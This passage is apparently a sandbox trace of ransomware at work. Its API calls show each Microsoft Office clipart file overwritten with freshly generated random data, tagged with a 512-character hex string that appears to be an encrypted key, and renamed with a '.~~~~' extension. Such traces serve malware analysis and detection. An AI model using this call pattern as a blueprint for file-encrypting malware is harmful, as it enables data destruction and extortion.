	[0089.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37db70
	[0089.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.768] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.768] GetLastError () returned 0x0
	[0089.769] GetLastError () returned 0x0
	[0089.769] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.769] GetLastError () returned 0x0
	[0089.769] GetLastError () returned 0x0
	[0089.772] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffd4ce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.772] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x2b32, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2b32, lpOverlapped=0x0) returned 1
	[0089.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.773] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.773] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.773] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.773] CloseHandle (hObject=0x12c) returned 1
	[0089.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.~~~~")) returned 1
	[0089.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.774] GetLastError () returned 0x0
	[0089.775] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.776] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.776] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.776] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20976651222) returned 1
	[0089.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f4a1b10, dwHighDateTime=0x1d60e1e)) 
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f908
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f908 | out: hHeap=0x300000) returned 1
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ddd0
	[0089.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.777] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.777] GetLastError () returned 0x0
	[0089.778] GetLastError () returned 0x0
	[0089.778] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.778] GetLastError () returned 0x0
	[0089.778] GetLastError () returned 0x0
	[0089.780] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffcf18, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.780] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x30e8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x30e8, lpOverlapped=0x0) returned 1
	[0089.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.781] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.781] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.781] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.781] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.781] CloseHandle (hObject=0x12c) returned 1
	[0089.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.~~~~")) returned 1
	[0089.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.782] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.782] GetLastError () returned 0x0
	[0089.783] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.784] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.784] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.784] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20977454271) returned 1
	[0089.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f4a1b10, dwHighDateTime=0x1d60e1e)) 
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f940
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f940 | out: hHeap=0x300000) returned 1
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37de68
	[0089.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.785] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.785] GetLastError () returned 0x0
	[0089.785] GetLastError () returned 0x0
	[0089.786] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.786] GetLastError () returned 0x0
	[0089.786] GetLastError () returned 0x0
	[0089.788] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffd9a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.788] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x265a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x265a, lpOverlapped=0x0) returned 1
	[0089.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.789] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.789] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.789] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.789] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.789] CloseHandle (hObject=0x12c) returned 1
	[0089.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.789] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.~~~~")) returned 1
	[0089.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.790] GetLastError () returned 0x0
	[0089.790] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.791] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.791] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.791] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20978159190) returned 1
	[0089.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f4c7c70, dwHighDateTime=0x1d60e1e)) 
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f978
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f978 | out: hHeap=0x300000) returned 1
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37df00
	[0089.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.792] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.792] GetLastError () returned 0x0
	[0089.792] GetLastError () returned 0x0
	[0089.792] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.792] GetLastError () returned 0x0
	[0089.793] GetLastError () returned 0x0
	[0089.794] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffe14a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0089.794] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x1eb6, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x1eb6, lpOverlapped=0x0) returned 1
	[0089.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0089.795] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0089.795] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0089.795] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0089.795] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0089.795] CloseHandle (hObject=0x12c) returned 1
	[0089.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0089.795] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.~~~~")) returned 1
	[0089.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0089.796] GetLastError () returned 0x0
	[0089.797] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0089.798] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0089.798] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0089.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0089.798] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20978789192) returned 1
	[0089.798] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f4c7c70, dwHighDateTime=0x1d60e1e)) 
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f9b0
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0089.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f9b0 | out: hHeap=0x300000) returned 1
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0089.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0089.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0089.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37df98
	[0089.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0089.798] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0089.798] GetLastError () returned 0x0
	[0089.799] GetLastError () returned 0x0
	[0089.799] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0089.799] GetLastError () returned 0x0
	[0089.799] GetLastError () returned 0x0
	[0090.013] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xfffffc0c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.013] WriteFile (in: hFile=0x12c, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x3f4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x3f4, lpOverlapped=0x0) returned 1
	[0090.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0090.020] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.020] WriteFile (in: hFile=0x12c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.020] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.020] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.020] CloseHandle (hObject=0x12c) returned 1
	[0090.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0090.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.~~~~")) returned 1
	[0090.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0090.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.023] GetLastError () returned 0x0
	[0090.024] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394970) returned 1
	[0090.025] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.025] CryptReleaseContext (hProv=0x394970, dwFlags=0x0) returned 1
	[0090.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0090.025] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21001482433) returned 1
	[0090.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9f703110, dwHighDateTime=0x1d60e1e)) 
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac900
